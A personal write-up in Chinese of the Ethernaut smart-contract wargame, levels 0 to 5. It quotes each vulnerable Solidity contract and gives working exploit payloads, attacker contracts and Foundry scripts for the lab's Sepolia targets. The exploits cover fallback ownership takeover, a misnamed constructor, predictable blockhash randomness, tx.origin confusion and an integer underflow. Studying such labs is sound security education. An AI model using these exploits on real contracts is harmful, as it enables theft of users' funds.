Ethernaut LV0-LV5 解题记录
简单记录自己的 Ethernaut 做题过程。 Foundry使用记录绝赞策划中......
不完整致歉...... 不严谨致歉...... 不专业致歉...... 致歉全世界......
LV0 Hello Ethernaut
Step by Step. 跟着指示就行
LV1 Fallback
Look carefully at the contract's code below.
You will beat this level if
- you claim ownership of the contract\
- you reduce its balance to 0
Things that might help
- How to send ether when interacting with an ABI
- How to send ether outside of the ABI
- Converting to and from wei/ether units (see
help()command)- Fallback methods
给出了合约,先抄一下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}如题名和描述所示,这题主要涉及的是使用与不使用ABI的合约基本交互和fallback方法。
鉴于这是第一道合约审计,仔细分析一下每个函数。
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}constructor()是合约的构建函数,进行一些初始化操作。这里是将创建者的地址设置为owner然后将其contribution设置为1000
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}onlyOwner()是一个简单的修饰器,用于权限管理,限定只有owner能调用
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}contribute()是两个关键的逻辑之一,用于增加contribution、判断贡献值是否超过当前owner,同时限定了增加值需满足msg.value < 0.001 ether。
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}getContribution()用于获取地址贡献,view函数无值变更;withdraw()是在onlyOwner修饰下提取balance的函数。结合题目要求,只要通过withdraw()将balance全部提取出来即可完成challenge。
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}receive()是另外一个关键的函数,这是Solidity合约中专门处理纯转账(msg.data为空)交易的函数,只要是向合约地址的纯转账交易就会触发receive()。此处限定msg.value > 0 && contributions[msg.sender] > 0。
将contribute()和receive()结合起来,我们需要先通过contribute()提交一笔小于 0.001 ether 的转账,再通过一笔向合约地址的大于 0 的无data转账触发receive()后调用withdraw()即可
Payload in console:
await contract.contribute.sendTransaction({from: player, value: toWei('0.0001')})
await web3.eth.sendTransaction({from: player,to: contract.address,value: toWei('0.00001')})
await contract.withdraw()通过contract.owner()可以看到owner已被修改为player地址 

LV2 Fallout
Claim ownership of the contract below to complete this level.
Things that might help
- Solidity Remix IDE
题目要求Claim ownership,和 lv1 的要求一致,需要将owner改为player地址
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}通过检查代码可以发现,只有Fal1out()函数是涉及变更owner的,那问题就是我们是否可以使用它
在旧版本语法中没有constructor()来创建构造函数,只是使用类似于Java中构造方法的形式——用同名的函数作为构造函数。
但是由于这里的合约名是Fallout而函数名为Fal1out,所以我们可以直接调用该/* constructor */ 来实现改变owner 非常简单
Payload in console:
contract.Fal1out()
That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?
Well... Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.
LV3 Coin Flip
题目需要连续猜对十次,同时不能出现查询过快、在同一区块重复猜测导致revert()触发
CoinFlip.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}由于需要连续预测成功十次, coinFlip = blockValue / FACTOR。我们只有在链上才能准确获取到 blockValue,所以需要部署合约与原合约进行交互以保证区块一致
Solve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract Solve {
CoinFlip public coinFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlip) {
coinFlip = CoinFlip(_coinFlip);
}
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 side = blockValue / FACTOR;
bool guess = side == 1 ? true : false;
coinFlip.flip(guess);
}
}通过 constructor() 在创建时将 CoinFlip 合约以地址的形式引入,同时基于 import 的文件进行解析
虽然在靶场的 help 上推荐的是 Remix,但是综合考虑决定使用 Foundry 来实现部署
Foundry 的部署比较方便的方式是编写 Script 进行测试及部署。Foundry Script 相当于本地环境上的合约,与一般的 Solidity 合约相似,但是可以通过特殊的Cheat Code在测试中实现一些特殊操作,比如通过Boardcast来模拟链上交互、模拟sender地址。
具体的 Foundry 使用会单开一个笔记。
这里完全可以只写一个 Script,但是第一次用 Foundry 不是很清楚一些概念和操作,文件命名上也需要规范。下次一定......
Script for Test and Broadcast Solve.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script} from "forge-std/Script.sol";
import {Solve} from "../src/Solve.sol";
contract SolveScript is Script {
Solve public solve;
function setUp() public {}
function run() public {
vm.createSelectFork("sepolia");
vm.startBroadcast();
solve = new Solve(0x328D2C0d36FbC142F6e0fBa0Bd1F76e7B775b70F);
vm.stopBroadcast();
}
}Payload Script Solver.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Script} from "forge-std/Script.sol";
import {Solve} from "../src/Solve.sol";
contract SolverScript is Script {
address solveContractAddress = 0xfe05244fB6a3b8e15AB1a1E7376776B44AD3F2a8;
Solve solver = Solve(solveContractAddress);
function run() external {
vm.startBroadcast();
solver.guessFlip();
vm.stopBroadcast();
}
}同时可以编写一些环境变量方便命令行调用
SEPOLIA_RPC_URL=https://ethereum-sepolia-rpc.publicnode.com
ETHERSCAN_API_KEY= # get it from Etherscan, for verify创建新钱包、获得私钥和地址用于攻击合约部署与交互,需要拿地址去水龙头接水。可以用 Google Cloud Web3 Faucet 或者 PoW Faucet
通过 forge script 部署并调用
cast wallet new
forge script --chain sepolia script/Solver.s.sol:SolverScript --rpc-url $SEPOLIA_RPC_URL --broadcast --verify -vvvv --interactives 1 # 交互式私钥输入因为要连续猜对10次且不能过快(block检查),编写脚本来实现自动的每15秒的函数调用 由于机制,只要触发revert一次就无法再增加consecutiveWins 觉得奇怪提交了一次看报错才发现的 ,要连续success才行
#!/bin/bash
for i in {1..10}
do
echo "Attempting flip #$i..."
forge script --chain sepolia script/Solver.s.sol:SolverScript --rpc-url "https://ethereum-sepolia-rpc.publicnode.com" --broadcast --private-key <replace-with-your-private-key>
sleep 15
doneGenerating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.
To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.
Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).
When it comes to random, make it truly random. ^_^
LV4 Telephone
Contract first.
Telephone.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}可以看到关键判断是tx.origin != msg.sender,所以编写合约来调用changeOwner以改变msg.sender
TelephoneAttack.sol
// SPDX-License-Identifier: NOLICENCE
pragma solidity ^0.8.0;
import "./Telephone.sol";
contract TelephoneAttacker {
Telephone telephone;
constructor(address _target) {
telephone = Telephone(_target);
}
function attack() public {
telephone.changeOwner(msg.sender);
}
}从这题开始应该会积极写.t.sol,Foundry Test 感觉十分强大...... 或者说 Foundry 很强大......
Test可以使用本地的环境来模拟实现,很丝滑的逻辑验证,LOVE~
Telephone.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {Telephone} from "../src/Telephone.sol";
import {TelephoneAttacker} from "../src/TelephoneAttacker.sol";
contract TelephoneAttackerTest is Test {
Telephone target;
address player = address(0x0000000000000000000000000000000000000001);
function setUp() public {
target = new Telephone();
}
function testAttack() public {
TelephoneAttacker attacker = new TelephoneAttacker(address(target));
vm.prank(player);
attacker.attack();
assertEq(target.owner(), player);
}
}forge test ./04_Telephone/test/*
测试完毕!编写 Script 与链上的目标合约交互
Telephone.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {TelephoneAttacker} from "../src/TelephoneAttacker.sol";
import {Telephone} from "../src/Telephone.sol";
contract TelephoneAttackerScript is Script {
function run() external {
address targetAddress = <YOUR_TARGET_ADDRESS>;
vm.startBroadcast(vm.envUint("SEPOLIA_PRIVATE_KEY"));
TelephoneAttacker attacker = new TelephoneAttacker(targetAddress);
console.log("Attacker contract deployed to: ", address(attacker));
attacker.attack();
console.log("Attack!");
vm.stopBroadcast();
address newOwner = Telephone(targetAddress).owner();
console.log("New owner is:", newOwner);
}
}forge script ./04_Telephone/script/Telephone.s.sol --private-key $SEPOLIA_PRIVATE_KEY --fork-url $SEPOLIA_RPC_URL --broadcastDone !
While this example may be simple, confusing
tx.originwithmsg.sendercan lead to phishing-style attacks, such as this.An example of a possible attack is outlined below.
- Use
tx.originto determine whose tokens to transfer, e.g.Solidityfunction transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; }
- Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
Solidityfunction () payable { token.transfer(attackerAddress, 10000); }
- In this scenario,
tx.originwill be the victim's address (whilemsg.senderwill be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
LV5 Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}很明显,简单的代码让问题只可能发生在 transfer 中。hint 提到了 Odometer 里程表 ,可能 能联想到整数溢出-下溢出。
问题主要发生在此处 balances[msg.sender] -= _value,当_value的值超过msg.sender即 player 的值,下溢出发生,balance记录变为接近 uint256 最大值的值。类似的各种各样的溢出问题也确实是多发风险。
尝试编写 Forge Test 和 Script 来解决,但是存在问题的合约版本与 Forge 跨度过大,协作存在问题 懒得调了。So, less is more...
直接在浏览器控制台来完成攻击
await contract.transfer("0xA6AB460F37E5cD3E6394e48D05cba2bAfc503C02", 21);Overflows are very common in solidity and must be checked for with control statements such as:
Solidity
if(a + c > a) { a = a + c; }
An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:a = a.add(c);
If there is an overflow, the code will revert.
Kiracoon